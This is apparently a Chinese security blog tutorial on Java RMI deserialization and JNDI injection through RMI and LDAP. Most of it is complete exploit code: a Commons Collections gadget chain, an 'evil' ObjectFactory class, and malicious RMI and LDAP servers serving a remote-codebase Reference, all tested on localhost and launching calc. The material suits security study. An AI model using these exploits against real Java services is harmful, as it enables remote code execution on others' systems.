- 版本: jdk8u25
- 依赖: Apache Commons Collections 3.1和ldap版本4.0.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.0</version> </dependency> </dependencies>
|
这里的依赖是测试反序列化漏洞的,和jndi注入没什么关系,如果只想了解jndi注入的话,这个依赖可以不要
另外,我会把Rmi和Ldap一起讲了,虽然正常jndi注入大多数都用Ldap注入,但是多学一学没有坏处
Java反序列化之JNDI
jndi前置知识
了解的直接跳过就行了
JNDI是Java提供的一套API,用于访问命名和目录服务,比如:
- 查找对象(数据库连接池、远程对象等)
- 将对象注册到命名空间中
- 动态地从网络或本地环境中获取资源
而且支持多种协议,比如:
- ldap:// —— LDAP 目录服务
- rmi:// —— 远程方法调用(RMI)
- iiop:// —— CORBA
- dns:// —— DNS 服务
正常情况下,jndi是通过lookup寻求服务的,所以jndi注入往往存在于这个地方,很多链子的起点都在此
Rmi
前置知识
首先需要了解几个知识:
- Stub:客户端的代理对象,接收客户端调用,负责把调用信息发送到远程服务端
- Skeleton:服务端的分发器,负责接收客户端请求并调用真实的服务实现。通常我们的恶意服务就放在服务端上。JDK1.2后Skeleton被取消,由UnicastServerRef直接处理
- RemoteRef:远程引用接口,Stub通过它来实际发起远程调用
- RemoteCall:封装一次远程调用的数据对象,内部包含方法名、参数等信息
上面的我就不细致打开讲了,我们再看看调用流程
- 客户端获取服务对象Stub
- 客户端会通过Naming.lookup(“rmi://host/serviceName”)获取远程服务
- 此时客户端获取的并不是服务端真实对象,而是服务的Stub,这是一个代理类,它实现了服务接口
- Stub准备调用:封装远程调用信息
- Stub内部持有一个RemoteRef对象,该对象负责处理底层网络传输
- Stub会构造一个RemoteCall对象,把调用的方法名、参数、接口信息等序列化进去,然后通过RemoteRef.invoke()发起远程通信
- 网络传输:通过Socket发送请求到服务端
- RemoteRef将RemoteCall对象通过TCP Socket连接传给服务端(默认使用端口1099)
- 传输内容包括:服务接口名,方法签名,参数,调用类型(例如lookup、bind等)
- 服务端接收:UnicastServerRef和Skeleton分发请求
- 服务端监听的端口接收到客户端的Socket请求后,由UnicastServerRef(远程引用层)处理
- Skeleton 反序列化 RemoteCall,解析出客户端希望调用的方法和参数。
- 服务端执行方法
- Skeleton或UnicastServerRef调用目标对象的方法,比如调用lookup()、bind()、业务方法等。
- 方法执行完成后,将返回结果进行序列化。
- 服务端返回结果给客户端
- 服务端把方法的返回值打包进RemoteCall,通过Socket发送回客户端。
- 如果返回值是一个远程对象,会被包裹成Stub发回。
- 客户端反序列化结果并继续调用
- 客户端接收到结果后反序列化
- 如果是普通数据,直接使用
- 如果是远程对象Stub,可以继续调用远程方法
只用文字说可能有点干,下面是图形的调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Client └──> Stub(RegistryImpl_Stub) └──> RemoteRef.invoke() └──> 序列化RemoteCall(接口名、方法名、参数) └──> 通过Socket发送给服务端 ┌—————————————————————┘ Server └──> UnicastServerRef接收请求 └──> Skeleton.dispatch() └──> 反序列化RemoteCall └──> 调用对应服务实现类的方法 └──> 序列化结果返回给客户端 ┌———————————————————————————┘ Client └──> 反序列化返回结果 └──> 如果是Stub,可继续调用远程方法
|
我们稍微做个小测试
normal_rmi_server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package server.rmi;
import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject;
public class normal_rmi_server { public interface InterfaceTest extends Remote {
String normal(Object object) throws RemoteException;
} public static class FunctionTest extends UnicastRemoteObject implements InterfaceTest{
private static final long serialVersionUID = 1L;
protected FunctionTest() throws RemoteException { super(); }
@Override public String normal(Object object) throws RemoteException {
return "Nebu1ea";
} }
public static final String normal_rmi_name= "rmi://127.0.0.1:8080/normal_rmi";
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(8080); Naming.bind(normal_rmi_name, new FunctionTest());
} }
|
稍微解释一下,Naming.bind注册远程服务normal_rmi_name,把服务端实现类绑定到normal_rmi_name
比如rmi://127.0.0.1:8080/normal_rmi,供客户端通过lookup()查找到rmi://127.0.0.1:8080/normal_rmi,就会指向new FunctionTest()这个实例
这个FunctionTest必须得继承UnicastRemoteObject,这是协议所需,实现InterfaceTest接口是为了远程服务,没有在远程服务里实现的方法是不能被客户端调用的
接着写client模拟访问rmi服务
normal_rmi_client.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package client.rmi;
import java.rmi.Naming; import server.rmi.normal_rmi_server.InterfaceTest;
public class normal_rmi_client {
public static void main(String[] args) throws Exception{ Thread.sleep(2000); InterfaceTest interfaceTest = (InterfaceTest) Naming.lookup("rmi://127.0.0.1:8080/normal_rmi"); String result = interfaceTest.normal(1); System.out.println(result); } }
|
获取远程rmi服务并运行函数,这个Thread.sleep(2000);是为了让rmi_server完全启动完成
![]()
rmi反序列化漏洞
这个漏洞是进攻服务端的,不是jndi注入
在上面我讲过,服务端会反序列化客户端传来的RemoteCall,既然是反序列化,那我们传一个恶意的RemoteCall上去即可触发任意执行
前面写到cc依赖就是为了测试这个,服务端我们用的还是normal_rmi_server.java
进攻端exp是这样的:
attack_rmi_client.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package client.rmi;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import server.rmi.normal_rmi_server; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.Map;
public class attack_rmi_client {
public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer =new ChainedTransformer(Transformers); Map map=new HashedMap(); map.put("value","Nebu1ea"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Target.class,transformedMap); //生成payload
Thread.sleep(2000); normal_rmi_server.InterfaceTest interfaceTest = (normal_rmi_server.InterfaceTest) Naming.lookup("rmi://127.0.0.1:8080/normal_rmi"); String result = interfaceTest.normal(object); } }
|
前面导入的cc库也是为了测试这个漏洞,在server客户端反序列化payload的时候触发了链子
![]()
jndi注入之rmi
这种情况用的很少,主要有以下几个原因
在RMI服务中引用远程对象将受本地高版本Java限制
- com.sun.jndi.rmi.object.trustURLCodebase必须为true
- java.rmi.server.useCodebaseOnly必须为false
用下面这种方式打开
- System.setProperty(“java.rmi.server.useCodebaseOnly”, “false”);
- System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);
当然,这篇博客里我用的是1.8u25,是低版本,这两都不要管
用rmi注入jndi需要远程引用一个类,这个类一般是这样实现的:
evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.Serializable; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory;
public class evil implements ObjectFactory, Serializable { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"calc"}); p.waitFor(); } catch (Exception e) { e.printStackTrace(); } }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { //Runtime r = Runtime.getRuntime(); //Process p = r.exec(new String[]{"calc"}); //p.waitFor(); //上方注释的代码也会触发 return null; } }
|
要实现ObjectFactory接口,因为jndi会尝试加载工厂类,如果没实现这个接口会报错,编译完放到远程服务机器上,接着再恶意服务端创建Reference指向这个类,创建ReferenceWrapper包含这个Reference
最后Naming.bind注册恶意远程服务,并把ReferenceWrapper绑定到远程服务远程服务上
具体如下:
attack_rmi_server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package server.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry;
public class attack_rmi_server { public static final String attack_rmi_name= "rmi://127.0.0.1:8080/attack_rmi";
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(8080); Reference reference=new Reference("evil","evil","http://127.0.0.1:5555/"); ReferenceWrapper rmiReference=new ReferenceWrapper(reference); Naming.bind(attack_rmi_name,rmiReference);
} }
|
有两个个坑点,第一个是绑定reference时传入的url必须最后有’/‘,不然他会找不到你的类
第二个是当前项目不能有同名类,不然优先加载当前项目的,不加载远程的
其余的话没什么了,再就是jndi是这么执行的:
- 连接RMI服务
- 获取注册的ReferenceWrapper对象
- JNDI取出里面的Reference对象
- 发现它指向远程(工厂类名+URL)
- 尝试从指定URL下载名为evil.class的工厂类
- 下载成功后,JNDI会调用这个工厂类,并实例化
- 实例化后还会调用实例的getObjectInstance方法
就是这样,所以恶意代码无论是写在静态代码块里,构造函数里异或是getObjectInstance里都能触发
接下来是被攻击的客户端测试
attacked_rmi_client
1 2 3 4 5 6 7 8 9 10 11 12 13
| package client.rmi;
import javax.naming.InitialContext;
public class attacked_rmi_client { public static void main(String[] args) throws Exception{ Thread.sleep(2000); String url = "rmi://127.0.0.1:8080/attack_rmi"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
![]()
![]()
Ldap
前置知识
还是一点前置知识,ldap是个目录访问协议,用于读取、查询和修改目录服务中的信息
它是基于 TCP/IP 的,并且数据结构是层级树状结构(类似文件夹)
例如:
1 2 3 4 5
| dc=fucker,dc=com └── ou=users ├── cn=Nebu1ea └── cn=Nebu2ea
|
其数据结构由多个Entry组成,在上方的例子中每条路径都是个Entry,且每个Entry都有一个:
- DN:条目的唯一标识
- RDN:相对条目父节点的名称
- Attributes:一组键值对,例如用户名、邮箱等(这个是核心,因为ldap为了达到sql类似的作用的)
- objectClass:它们定义了这个条目可以具备哪些属性,比如objectClasss=person就代表可以存放sn, cn, userPassword等
这个person类是ldap的内置标准结构,如果学习过域的就会知道ldap在域控中很常用于控制用户
举个其中一个路径来说:
1 2 3 4 5 6
| dn: cn=Nebu1ea,ou=users,dc=fucker,dc=com objectClass: person cn: Nebu1ea sn: Nebu userPassword: 114514
|
dn是条目的完整路径,cn=Nebu1ea是RDN,ou=users是组织单元,dc=fucker、dc=com表示根域
再看看是怎么查询的,假如lookup的是ldap://127.0.0.1:1389/114514
那么就会向服务器请求”dn:114514”这个Entry
jndi注入之ldap
假如我们是服务机,无差别向所有查询返回一个指向恶意类的Reference,就可以达到恶意攻击的效果,那Reference的Entry是什么样的呢
1 2 3 4 5
| dn: 114514 objectClass: javaNamingReference javaClassName: evil javaFactory: evil javaCodeBase: http://127.0.0.1/
|
那么该写exp了
attack_ldap_server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package server.ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.*; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress;
class attack_ldap_server {
public static void main(String[] args) throws Exception{ InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=fucker,dc=com"); config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), 1389, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer inMemoryDirectoryServer = new InMemoryDirectoryServer(config); inMemoryDirectoryServer.startListening(); }
private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base);
String className = "evil"; entry.addAttribute("javaClassName", className); entry.addAttribute("javaFactory", className); entry.addAttribute("javaCodeBase", "http://127.0.0.1:5555/"); entry.addAttribute("objectClass", "javaNamingReference");
try { result.sendSearchEntry(entry); } catch (LDAPException e) { e.printStackTrace(); } result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} } }
|
简而言之就是创建一个域是fucker.com(这个随意)的ldap服务,无论查询什么都返回一个恶意的reference
attacked_ldap_client.java
1 2 3 4 5 6 7 8 9 10 11 12
| package client.ldap;
import javax.naming.InitialContext;
public class attacked_ldap_client { public static void main(String[] args) throws Exception{ Thread.sleep(2000); String url = "ldap://127.0.0.1:1389/1"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
连接ldap查询,查询什么都行
![]()